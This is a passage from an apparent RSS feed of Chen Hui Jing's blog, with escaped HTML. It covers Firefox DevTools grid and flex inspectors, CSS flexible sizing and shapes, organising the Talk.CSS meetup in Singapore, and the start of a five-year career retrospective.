      &lt;source src=&quot;/videos/dt-flex2.mp4&quot; type=&quot;video/mp4&quot; /&gt;
      Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded videos,
      but don&apos;t worry, you can &lt;a href=&quot;/videos/dt-flex2.mp4&quot;&gt;download it&lt;/a&gt;and watch it with your
      favourite video player!
    &lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;When it comes to explaining concepts, I found that it was much more effective to talk through what&apos;s going on while resizing the browser, changing certain values via DevTools and immediately seeing the corresponding effect on the screen.&lt;/p&gt;
&lt;p&gt;For example, it was easier to grasp the content-based sizing values of &lt;code&gt;max-content&lt;/code&gt;, &lt;code&gt;min-content&lt;/code&gt; and &lt;code&gt;fit-content()&lt;/code&gt; when they were demonstrated live in the browser.&lt;/p&gt;
&lt;h2&gt;Box alignment visualised&lt;/h2&gt;
&lt;p&gt;The flex overlay also inadvertently became a visualisation tool for the various box alignment properties, largely because of how it was designed. Free space is indicated by a pattern of dashed lines and dots, which makes it clear how free space is being distributed when the different values are applied.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Run through all possible values to see what they do&lt;/figcaption&gt;
    &lt;video controls autoplay muted loop&gt;
      &lt;source src=&quot;/videos/dt-flex3.mp4&quot; type=&quot;video/mp4&quot; /&gt;
      Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded videos,
      but don&apos;t worry, you can &lt;a href=&quot;/videos/dt-flex3.mp4&quot;&gt;download it&lt;/a&gt;and watch it with your
      favourite video player!
    &lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;I found this particularly helpful for getting people to remember that the default behaviour of flex items is to stretch to fill the available space on a flex line, i.e. every flex item on the line will end up being the same height (in a row direction) as the tallest item on the line. Sometimes words may be confusing, and visuals can help.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;When your flex items are not the height you expected them to be&lt;/figcaption&gt;
    &lt;video controls autoplay muted loop&gt;
      &lt;source src=&quot;/videos/dt-flex4.mp4&quot; type=&quot;video/mp4&quot; /&gt;
      Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded videos,
      but don&apos;t worry, you can &lt;a href=&quot;/videos/dt-flex4.mp4&quot;&gt;download it&lt;/a&gt;and watch it with your
      favourite video player!
    &lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;Such behaviour is also observable when the Grid overlay is applied, and given that Firefox also has, by far, the best Grid inspector tool among all the browsers, let&apos;s talk about it too.&lt;/p&gt;
&lt;h1&gt;Grid inspector tool&lt;/h1&gt;
&lt;p&gt;Firefox shipped its Grid inspector tool way before any other browser, and they have continued to work on adding more features, and fixing bugs based on feedback from users. As such, the Grid inspector tool has become an indispensable part of my workflow when designing layouts with Grid.&lt;/p&gt;
&lt;p&gt;Let&apos;s start off with the most useful basic features. The ability to see grid lines labelled with grid numbers. But more than that, we are free to change the colour of the grid overlay, useful for real-world projects where the background colour is very close to the default overlay colour and you need more contrast between the two to see what&apos;s going on.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Change colour of grid overlay to suit your project&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/devtools-layout/grid-colour-480.jpg 480w, /images/posts/devtools-layout/grid-colour-640.jpg 640w, /images/posts/devtools-layout/grid-colour-960.jpg 960w, /images/posts/devtools-layout/grid-colour-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/devtools-layout/grid-colour-640.jpg&quot; alt=&quot;Choose grid colour&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;One of the key improvements since Grid was first released was the way line number labels are handled at the edge of the viewport. For some of my designs, I built the grid to encompass the maximum width and height of the viewport, so in earlier iterations of the Grid inspector tool, those labels got cut-off.&lt;/p&gt;
&lt;p&gt;What I appreciate a lot is that the DevTools team took user feedback into account and continued to improve the tool after it was first released. Among other improvements, the position of line number labels have since been adjusted so they are always visible.&lt;/p&gt;
&lt;p&gt;A relatively newer feature improvement is the ability to have multiple grid overlays displayed at the same time. This is especially useful for designs that utilise grid in a more complex manner, perhaps overlapping grids or nested grids.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Multiple grid overlays on a nested grid layout (example by Rachel Andrew)&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/devtools-layout/nested-grid-480.jpg 480w, /images/posts/devtools-layout/nested-grid-640.jpg 640w, /images/posts/devtools-layout/nested-grid-960.jpg 960w, /images/posts/devtools-layout/nested-grid-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/devtools-layout/nested-grid-640.jpg&quot; alt=&quot;Multiple grid overlays on the same page&quot;&gt;
&lt;/figure&gt;
&lt;h2&gt;Observing varying rates of change&lt;/h2&gt;
&lt;p&gt;One of the most interesting features in Flexbox and Grid is how there is a possibility to vary the rate of growth or shrinkage of elements, and affect who shrinks first, or holds their size as long as possible.&lt;/p&gt;
&lt;p&gt;I was first clued into such behaviour about one year ago when I met &lt;a href=&quot;http://jensimmons.com/&quot;&gt;Jen Simmons&lt;/a&gt; at the Mozilla All-Hands in Austin. I think we spent around an hour changing grid values and resizing the browser. I mean, isn&apos;t resizing the browser a thousand times a day part of the job description? But I digress.&lt;/p&gt;
&lt;p&gt;At first it was just an interesting observation, but after Jen introduced the world to &lt;a href=&quot;http://www.zeldman.com/2018/05/02/transcript-intrinsic-web-design-with-jen-simmons-the-big-web-show/&quot;&gt;Intrinsic Web Design&lt;/a&gt; and showed a number of concrete examples behind its 6 broad concepts, I started to think more about the practical applications of such behaviour.&lt;/p&gt;
&lt;p&gt;Prior to flexible sizing, if we wanted designs that would adjust to the width of the viewport, our only option was relative sizing, with percentages (or viewport units, if you were adventurous). But sizing elements using these units meant they grew and shrunk at the same rate, regardless of what type of content it was.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Percentages need to managed along blocks of viewport ranges&lt;/figcaption&gt;
    &lt;video controls autoplay muted loop&gt;
      &lt;source src=&quot;/videos/dt-percentage.mp4&quot; type=&quot;video/mp4&quot; /&gt;
      Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded videos,
      but don&apos;t worry, you can &lt;a href=&quot;/videos/dt-percentage.mp4&quot;&gt;download it&lt;/a&gt;and watch it with your
      favourite video player!
    &lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;Sometimes images grow and shrink too much at the more extreme viewport sizes, or certain blocks of text with different font sizes might not display at a comfortable reading width. We could get around this by adding more breakpoints, which meant multiple blocks of layout code per breakpoint.&lt;/p&gt;
&lt;p&gt;There&apos;s nothing wrong with that approach, but what I want to highlight is that we have more options now, and varying rates of change is a new design tool we can utilise for building layouts.&lt;/p&gt;
&lt;h3&gt;Strength of flexible widths&lt;/h3&gt;
&lt;p&gt;Strength is probably a rather bad way of putting it, but I want to make a distinction between how items with different sizing values hold their widths differently depending on the sizing values of other items within the same context.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;&lt;code&gt;fr&lt;/code&gt; versus &lt;code&gt;auto&lt;/code&gt; versus &lt;code&gt;minmax()&lt;/code&gt;&lt;/figcaption&gt;
    &lt;video controls autoplay muted loop&gt;
      &lt;source src=&quot;/videos/dt-flexible.mp4&quot; type=&quot;video/mp4&quot; /&gt;
      Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded videos,
      but don&apos;t worry, you can &lt;a href=&quot;/videos/dt-flexible.mp4&quot;&gt;download it&lt;/a&gt;and watch it with your
      favourite video player!
    &lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;The above example uses Grid, because as of time of writing, it supports the plethora of flexible sizing values available to us. If you are reading this years in the future from 2018, maybe these values could be used in more formatting contexts already (keeping my fingers crossed).&lt;/p&gt;
&lt;p&gt;For tracks sized with &lt;code&gt;fr&lt;/code&gt;, because it&apos;s defined as the fraction of leftover space in the grid container, it will absorb all of the additional free space as the viewport continues to grow beyond the space required by non-flexible tracks.&lt;/p&gt;
&lt;p&gt;But it is also the first to lose its width when free space is being taken away, to the point where it will shrink to its &lt;code&gt;min-content&lt;/code&gt; first, before the tracks sized with other values.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Let the games begin!&lt;/figcaption&gt;
    &lt;video controls autoplay muted loop&gt;
      &lt;source src=&quot;/videos/dt-strength.mp4&quot; type=&quot;video/mp4&quot; /&gt;
      Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded videos,
      but don&apos;t worry, you can &lt;a href=&quot;/videos/dt-strength.mp4&quot;&gt;download it&lt;/a&gt;and watch it with your
      favourite video player!
    &lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;When you use &lt;code&gt;auto&lt;/code&gt;, the track behaves like &lt;code&gt;max-content&lt;/code&gt; when there is an abundance of space. The grid formatting context is a special case. Because the initial value of &lt;code&gt;justify-content&lt;/code&gt; is &lt;code&gt;normal&lt;/code&gt;, which behaves like &lt;code&gt;stretch&lt;/code&gt;, all the &lt;code&gt;auto&lt;/code&gt; tracks stretch out, beyond the max-content width of the track. (Hopefully this makes sense)&lt;/p&gt;
&lt;p&gt;But when space is limited and shrinking, the width of the track becomes the largest minimum size of whatever content is within the grid item. So with reference to my demo, if you keep reducing the size of the viewport, the &lt;code&gt;auto&lt;/code&gt; track will shrink until the width of the word “boxes?” before overflowing.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;minmax(min, max)&lt;/code&gt; value can be considered the ‘strongest’ at holding onto its maximum width as the viewport shrinks. If there are any fellow tracks sized with &lt;code&gt;fr&lt;/code&gt;, those will be first to shrink.&lt;/p&gt;
&lt;p&gt;Given that &lt;code&gt;auto&lt;/code&gt; is supposed to behave like &lt;code&gt;max-content&lt;/code&gt; but is stretched out because of the default alignment property, that stretched-out space is the next to go.&lt;/p&gt;
&lt;p&gt;But once the max-content width is hit, an &lt;code&gt;auto&lt;/code&gt; track will shrink together with any &lt;code&gt;minmax()&lt;/code&gt; track. And they will reach their minimum size &lt;em&gt;at the same time&lt;/em&gt;! You can verify this by checking the width of the grid item with DevTools as you gradually adjust the viewport.&lt;/p&gt;
&lt;p data-height=&quot;417&quot; data-theme-id=&quot;9162&quot; data-slug-hash=&quot;GPrQwN&quot; data-default-tab=&quot;result&quot; data-user=&quot;huijing&quot; data-pen-title=&quot;Flexible sizing: the ultimate comparison&quot; class=&quot;codepen&quot;&gt;See the Pen &lt;a href=&quot;https://codepen.io/huijing/pen/GPrQwN/&quot;&gt;Flexible sizing: the ultimate comparison&lt;/a&gt; by Chen Hui Jing (&lt;a href=&quot;https://codepen.io/huijing&quot;&gt;@huijing&lt;/a&gt;) on &lt;a href=&quot;https://codepen.io&quot;&gt;CodePen&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Let&apos;s also talk a bit about &lt;code&gt;fit-content()&lt;/code&gt;. This particular track size will have a maximum size of &lt;code&gt;max-content&lt;/code&gt; or whatever width was within the parentheses, whichever is smaller. So if there&apos;s a lot of content, you can clamp the maximum width at a certain value. If the amount of content is less than the value within the parentheses, the track size end up being max-content.&lt;/p&gt;
&lt;p&gt;This example is best played with live, so I&apos;ve ported it to Codepen &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;pointing down&quot;&gt;☝️&lt;/span&gt;. Please open it up in a new window and resize the page until you grok the behaviour of all the various available values. That&apos;s what I did.&lt;/p&gt;
&lt;h2&gt;Building an actual design&lt;/h2&gt;
&lt;p&gt;I was also writing another article about flexible sizing for &lt;a href=&quot;https://blog.logrocket.com/&quot;&gt;LogRocket&lt;/a&gt; and came up with an example design for a feature header. I relied very heavily on DevTools to experiment with the values I needed to get the effect I wanted, especially for the spacer tracks.&lt;/p&gt;
&lt;p data-height=&quot;530&quot; data-theme-id=&quot;9162&quot; data-slug-hash=&quot;YdXMPZ&quot; data-default-tab=&quot;result&quot; data-user=&quot;huijing&quot; data-pen-title=&quot;CSS sizing: different content types&quot; class=&quot;codepen&quot;&gt;See the Pen &lt;a href=&quot;https://codepen.io/huijing/pen/YdXMPZ/&quot;&gt;CSS sizing: different content types&lt;/a&gt; by Chen Hui Jing (&lt;a href=&quot;https://codepen.io/huijing&quot;&gt;@huijing&lt;/a&gt;) on &lt;a href=&quot;https://codepen.io&quot;&gt;CodePen&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Even though I knew how flexible sizing worked in my head, putting it all together in a grid where items overlapped and spanned multiple flexible tracks was impossible to do without visualising it in the browser. So cue DevTools to the rescue.&lt;/p&gt;
&lt;h2&gt;Bonus: CSS shapes&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;Update: &lt;a href=&quot;http://adrianroselli.com/&quot;&gt;Adrian Roselli&lt;/a&gt;, who wrote a brilliant article on using CSS shapes to build a CSS Venn Diagram, so kindly sent over a screencast of the Shapes Editor within DevTools so I&apos;ve added this new section on CSS shapes.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;CSS shapes has been around for a while now, and it&apos;s one of those CSS properties that “fails” really well. Unless you&apos;re doing something overly elaborate, if the browser does not support CSS shapes, your layout will behave as though you didn&apos;t apply Shapes at all.&lt;/p&gt;
&lt;p&gt;I &lt;a href=&quot;/blog/why-you-should-be-excited-about-css-shapes/&quot;&gt;wrote about CSS shapes&lt;/a&gt; back in 2015 after listening to Jen Simmons talk about it on her podcast, &lt;a href=&quot;http://thewebahead.net/upcoming/css-shapes-with-sara-soueidan&quot;&gt;The Web Ahead&lt;/a&gt; and reading &lt;a href=&quot;https://www.sarasoueidan.com/blog/css-shapes/&quot;&gt;Sara Soueidan&apos;s seminal article on CSS shapes&lt;/a&gt; before anyone else was really talking about it.&lt;/p&gt;
&lt;p data-height=&quot;358&quot; data-theme-id=&quot;9162&quot; data-slug-hash=&quot;vEdVQZ&quot; data-default-tab=&quot;result&quot; data-user=&quot;huijing&quot; data-pen-title=&quot;Fun with CSS shapes&quot; class=&quot;codepen&quot;&gt;See the Pen &lt;a href=&quot;https://codepen.io/huijing/pen/vEdVQZ/&quot;&gt;Fun with CSS shapes&lt;/a&gt; by Chen Hui Jing (&lt;a href=&quot;https://codepen.io/huijing&quot;&gt;@huijing&lt;/a&gt;) on &lt;a href=&quot;https://codepen.io&quot;&gt;CodePen&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In a nutshell, CSS shapes is used together with floats to allow text to flow around geometric shapes or images. Such an effect is often seen in magazines and newspapers, but the web could not achieve such an effect before this property was developed. The only workaround being making the text part of the image, skewering accessibility.&lt;/p&gt;
&lt;p&gt;Chrome and the webkit-based browsers shipped CSS shapes first, back in 2014. Chrome supported CSS shapes highlighting through DevTools, allowing developers to see the areas their defined shapes took up, and any margins applied (via the &lt;code&gt;shape-margin&lt;/code&gt; property).&lt;/p&gt;
&lt;p data-height=&quot;444&quot; data-theme-id=&quot;9162&quot; data-slug-hash=&quot;oXEPgX&quot; data-default-tab=&quot;result&quot; data-user=&quot;huijing&quot; data-pen-title=&quot;Wrapping text to an image with CSS Shapes&quot; class=&quot;codepen&quot;&gt;See the Pen &lt;a href=&quot;https://codepen.io/huijing/pen/oXEPgX/&quot;&gt;Wrapping text to an image with CSS Shapes&lt;/a&gt; by Chen Hui Jing (&lt;a href=&quot;https://codepen.io/huijing&quot;&gt;@huijing&lt;/a&gt;) on &lt;a href=&quot;https://codepen.io&quot;&gt;CodePen&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Firefox released CSS shapes support behind a flag in v51 and made it official in v62. In addition to shipping support for the property in the browser, the team also released the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Tools/Page_Inspector/How_to/Edit_CSS_shapes&quot;&gt;Shapes editor tool&lt;/a&gt;. Josh Marinacci wrote &lt;a href=&quot;https://hacks.mozilla.org/2018/09/make-your-web-layouts-bust-out-of-the-rectangle-with-the-firefox-shape-path-editor/&quot;&gt;a feature on Mozilla Hacks&lt;/a&gt; showcasing what the tool can do.&lt;/p&gt;
&lt;p&gt;Adrian Roselli wrote a fantastic article about &lt;a href=&quot;http://adrianroselli.com/2018/12/a-css-venn-diagram.html&quot;&gt;creating a pure CSS Venn diagram&lt;/a&gt; using CSS grid and the &lt;code&gt;shape-outside&lt;/code&gt; property, which I highly recommend reading. The end result not only fallbacks gracefully, it is also accessible to screen readers by default. It&apos;s a wonderful use-case of what CSS shapes can do for creative layouts on the web.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;The Shapes editor tool in action (courtesy of Adrian)&lt;/figcaption&gt;
    &lt;video controls autoplay muted loop&gt;
      &lt;source src=&quot;/videos/shapes-editor.mp4&quot; type=&quot;video/mp4&quot; /&gt;
      Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded videos,
      but don&apos;t worry, you can &lt;a href=&quot;/videos/shapes-editor.mp4&quot;&gt;download it&lt;/a&gt;and watch it with your
      favourite video player!
    &lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;The Shapes editor tool allows developers who are using either CSS shapes or the &lt;code&gt;clip-path&lt;/code&gt; property to manipulate and experiment with basic shapes and polygons. The generated polygon function can then be used in your actual code once you&apos;re satisfied with the results.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;I hope that this helps anybody who&apos;s trying to wrap their head around how flexible sizing works, and that you&apos;ll try it out yourself. Because there&apos;s no better teacher than resizing your browser a thousand times and seeing what happens. I&apos;m only sort of joking here.&lt;/p&gt;
&lt;p&gt;But I&apos;m also excited to see what designers and developers create once we&apos;ve all gotten used to sizing that holds width depending on its own value and the value of other items within the same context. I think such behaviour opens up a lot of options for designing layouts across a broad range of viewport sizes without heavy reliance on breakpoints.&lt;/p&gt;
&lt;p&gt;That&apos;s exciting to me. And I hope it&apos;s exciting for you too! &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;starry eyes&quot;&gt;🤩&lt;/span&gt;&lt;/p&gt;
</content:encoded></item><item><title>Organising Talk.CSS, consistently anyhowly</title><link>https://chenhuijing.com/blog/organising-talkcss-consistently-anyhowly/</link><guid isPermaLink="true">https://chenhuijing.com/blog/organising-talkcss-consistently-anyhowly/</guid><description>Some of you may know that I organise a little meetup called Talk.CSS, Singapore&apos;s only CSS-centric meetup, with Chris Lienert. As we are coming up to 3 years…</description><pubDate>Tue, 16 Oct 2018 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Some of you may know that I organise a little meetup called &lt;a href=&quot;https://singaporecss.github.io&quot;&gt;Talk.CSS&lt;/a&gt;, Singapore&apos;s only CSS-centric meetup, with &lt;a href=&quot;https://twitter.com/cliener&quot;&gt;Chris Lienert&lt;/a&gt;. As we are coming up to 3 years this November, our third birthday will also, sadly, be Chris&apos;s farewell as he moves home to Australia. Starting Talk.CSS with Chris has been incredibly fun and rewarding, largely because we never took ourselves too seriously. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;face screaming in fear&quot;&gt;😱&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;But that doesn&apos;t mean it didn&apos;t take effort. To date, we have yet to cancel a meetup or miss a month. A large reason for this is because there are 2 of us, so whenever 1 of us can&apos;t make it, the other can pick up the slack. So am I slightly worried how we will continue the streak with Chris gone? Yes. But we&apos;ll see how things work out.&lt;/p&gt;
&lt;p class=&quot;note&quot;&gt;If you&apos;re wondering about the word “anyhowly”, it is the adverb “anyhow” with an additional “ly” appended for emphasis. This is perfectly acceptable Singlish.&lt;/p&gt;
&lt;h2&gt;Before the doors open&lt;/h2&gt;
&lt;p&gt;There are 2 critical components to a meetup: speakers and venue.&lt;/p&gt;
&lt;h3&gt;Scouting for a venue&lt;/h3&gt;
&lt;p&gt;Usually, I will start scouting for venues a month before. Talk.CSS does a revolving venue format, so we try to contact different potential hosts every time.&lt;/p&gt;
&lt;p&gt;Scouting for venues involves consulting the &lt;a href=&quot;https://engineers.sg/events/&quot;&gt;Engineers.SG events&lt;/a&gt; for locations of other meetups and getting in touch with the relevant hosts. Or asking on &lt;a href=&quot;https://kopijs.org/&quot;&gt;KopiJS&lt;/a&gt;. Getting in touch is almost always via email, with some standard information that hosts usually require:&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Talk.CSS is a monthly tech meet-up about CSS (and web design).&lt;/p&gt;
  &lt;p&gt;We list the event as starting at 7pm, while talks begin proper at 730pm. Everything wraps up by 9pm or so.&lt;/p&gt;
  &lt;p&gt;The turnout is usually 30-40 people.&lt;/p&gt;
  &lt;p&gt;Our website is https://singaporecss.github.io.&lt;/p&gt;
  &lt;p&gt;We also have some social media on Twitter (@SingaporeCSS) and on Facebook (https://www.facebook.com/groups/SingaporeCSS).&lt;/p&gt;
  &lt;p&gt;Most of our community announcements happen on Facebook, as well as in the KopiJS slack channel and meetup.com (https://www.meetup.com/SingaporeCSS/)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;A month lead-time is usually enough, but sometimes we get hosts who cancel on us fairly last minute, so then it becomes a mad scramble to find a replacement venue. If you&apos;ve organised a meetup before, you probably can relate. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;relieved face&quot;&gt;😌&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;Speakers&lt;/h3&gt;
&lt;p&gt;This is particularly challenging because, in my experience, developers in Singapore are not exactly clamouring to do public speaking. As a last resort, both Chris and I have topics that we can pull out of our back pocket to tide things over.&lt;/p&gt;
&lt;p&gt;But generally, getting speakers for Talk.CSS involves me “persuading” friends or even random people I just met at other meetups to talk about anything remotely related to CSS. And I&apos;m incredibly grateful I still have friends left. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person shrugging&quot;&gt;🤷&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Sometimes people get in touch with Chris or myself and volunteer to speak. If this happens, I do a happy dance and throw an emoji party in Slack with Chris. Because we have a website (that is regularly updated), I will ask the speaker for their &lt;strong&gt;talk title&lt;/strong&gt;, &lt;strong&gt;short description&lt;/strong&gt;, a &lt;strong&gt;headshot&lt;/strong&gt;, a &lt;strong&gt;one-liner bio&lt;/strong&gt; and any &lt;strong&gt;social media links&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;If any information is missing, I will make stuff up or write some nonsensical placeholder like, &lt;em&gt;John Doe is pondering the meaning of his life before he can write his bio.&lt;/em&gt;. Of course, I give the speaker a heads up that if they do not provide the information in time, it&apos;ll be my creative writing for their profile on the website. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;smiling face with horns&quot;&gt;😈&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;Other things on the to-do list&lt;/h3&gt;
&lt;p&gt;Because the Singapore tech community is blessed to have an organisation like &lt;a href=&quot;&quot;&gt;Engineers.SG&lt;/a&gt; who records almost every tech meetup in Singapore, I&apos;ll input the event into the spreadsheet to give the team a heads up that our meetup is happening and we&apos;d like someone to come record.&lt;/p&gt;
&lt;p&gt;I&apos;ll also make sure to create the event on &lt;a href=&quot;https://www.meetup.com/SingaporeCSS/&quot;&gt;Meetup.com&lt;/a&gt; and update the website accordingly with venue information, talks and speakers. The SingaporeCSS website is built on Jekyll and I&apos;ve reworked it a bit over the years to be more template-ised to make my life easier.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://singaporecss.github.io/talk.css&quot;&gt;introductory slides&lt;/a&gt; for the meetup, built entirely with HTML and CSS, need to be updated with the host of the month, CSS colour of the month, and any ad-hoc announcement requests we may have. I also do a segment called HTML and CSS news of the month, so that needs to be prepared as well.&lt;/p&gt;
&lt;p&gt;In a bid to encourage people to show up, I will start writing random social media posts 2 weeks before on Facebook, Twitter and Slack. Mileage has varied so I have no advice on this. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;monkey&quot;&gt;🐒&lt;/span&gt;&lt;/p&gt;
&lt;h2&gt;On the day&lt;/h2&gt;
&lt;p&gt;Over the past 33 meetups, for the times that our hosts did not provide food, Chris has stepped up and sponsored dinner for many a meetup. Chris&apos;s amazing wife, &lt;a href=&quot;https://twitter.com/SazzarJ&quot;&gt;Sarah&lt;/a&gt;, has also contributed an incredible array of confectioneries and baked goods over the years. Sarah, we don&apos;t deserve you.&lt;/p&gt;
&lt;p&gt;Either Chris or myself will show up at the venue around 630pm. Doors open at 7pm and we start talks around 730pm. Usually things wrap up around 830pm. The unique thing about Talk.CSS is that our audience don&apos;t eat a lot. I think we are one of the rare tech meetups where there is food left over and we have to beg people to eat or take food home.&lt;/p&gt;
&lt;p&gt;It&apos;s critical that we thank the people who host us and whomever showed up from &lt;a href=&quot;http://Engineers.SG&quot;&gt;Engineers.SG&lt;/a&gt; to record us. And also everyone who shows up, especially the regulars, because there is no meetup without an audience, right?&lt;/p&gt;
&lt;h2&gt;After the day&lt;/h2&gt;
&lt;p&gt;I&apos;ll usually do a recap once the &lt;a href=&quot;http://Engineers.SG&quot;&gt;Engineers.SG&lt;/a&gt; recordings are out. And this is almost always a less than 24-hour turnaround time, because they are a world-class team of volunteers. The recap involves a brief description how the evening went, adding the talk graphics, and updating the relevant data files (for links to videos etc).&lt;/p&gt;
&lt;p&gt;Then, rinse and repeat and do it all over again for the next month.&lt;/p&gt;
&lt;h2&gt;Wrap up&lt;/h2&gt;
&lt;p&gt;When I was at &lt;a href=&quot;https://juniordev.sg/&quot;&gt;JuniorDevSG&lt;/a&gt; last night, &lt;a href=&quot;http://coderkungfu.com/&quot;&gt;Michael Cheng&lt;/a&gt; mentioned that organising meetups is often a thankless job. I guess this is because most people who haven&apos;t organised one themselves don&apos;t know what goes on behind the scenes.&lt;/p&gt;
&lt;p&gt;Most of the time we organise meetups because we feel like it, and want to build a community, however small, of people who are excited about whatever the meetup is about. So anybody who wants to pitch in and help out is always greatly appreciated. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;folded hands&quot;&gt;🙏&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;If anybody is based in Singapore and feels like helping out with Talk.CSS (or any other of the local meetups), get in touch! &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;red heart&quot;&gt;❤️&lt;/span&gt;&lt;/p&gt;
</content:encoded></item><item><title>1827 days working on the web</title><link>https://chenhuijing.com/blog/1827-days-working-on-the-web/</link><guid isPermaLink="true">https://chenhuijing.com/blog/1827-days-working-on-the-web/</guid><description>Today marks the 5-year anniversary of my first role as a developer. I wrote 2 similar check-point posts previously, one in 2015, and one in 2017, so these…</description><pubDate>Mon, 01 Oct 2018 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Today marks the 5-year anniversary of my first role as a developer. I wrote 2 similar check-point posts previously, &lt;a href=&quot;/blog/542-days-as-a-drupal-developer/&quot;&gt;one in 2015&lt;/a&gt;, and &lt;a href=&quot;/blog/1239-days-as-a-web-developer/&quot;&gt;one in 2017&lt;/a&gt;, so these checkpoint blog posts seem to occur every 500–700 days. Maybe.&lt;/p&gt;
&lt;p&gt;I was never the type to keep a journal, so this blog is as close to a diary as I&apos;ll ever get. Between the time I wrote the last checkpoint post and now, lots of things have changed. At the time I was working with an incredible team and a fantastic boss, but due to management issues, the company is now defunct.&lt;/p&gt;
&lt;p&gt;We&apos;re all still in touch and meet up fairly regularly. I&apos;m also still working with aforementioned boss, &lt;a href=&quot;https://sg.linkedin.com/in/markuskirchberg&quot;&gt;Markus Kirchberg&lt;/a&gt;, on an entity called &lt;a href=&quot;https://www.wismutlabs.com&quot;&gt;Wismut Labs&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;When life gives you lemons…&lt;/h2&gt;
&lt;p&gt;With the team disbanding and the company shutting down operations in Singapore, the logical option was to find another job. But at the time, I had a reasonable amount of savings and really wanted some way to keep the team together, so I registered Wismut Labs Pte Ltd and together with Markus, we tried to get something going.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Unfortunately, we didn&apos;t take too many photos back then&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/1827-days/deeplabs-480.jpg 480w, /images/posts/1827-days/deeplabs-640.jpg 640w, /images/posts/1827-days/deeplabs-960.jpg 960w, /images/posts/1827-days/deeplabs-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/1827-days/deeplabs-640.jpg&quot; alt=&quot;Team Deep Labs (missing some folks)&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;Between Markus&apos;s proven expertise in data analytics and management, and my penchant for building web UIs on a short turnaround, we were positioned to provide consulting for firms looking to build data science teams or start data-related projects. Although we managed to meet with a number of potential clients, we were constantly dropped in favour of large firms. Nobody ever got fired for choosing IBM. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person shrugging&quot;&gt;🤷&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;I did manage to pick up a couple of freelance projects to tide me over but by the end of the year, a regular salary looked quite enticing, so I took a full-time position at a local payments startup near where I lived. Even though I wasn&apos;t there for too long, I managed to accomplish quite a bit, including &lt;a href=&quot;/blog/refactoring-an-inherited-codebase/&quot;&gt;a complete rework&lt;/a&gt; of one of their product&apos;s frontend.&lt;/p&gt;
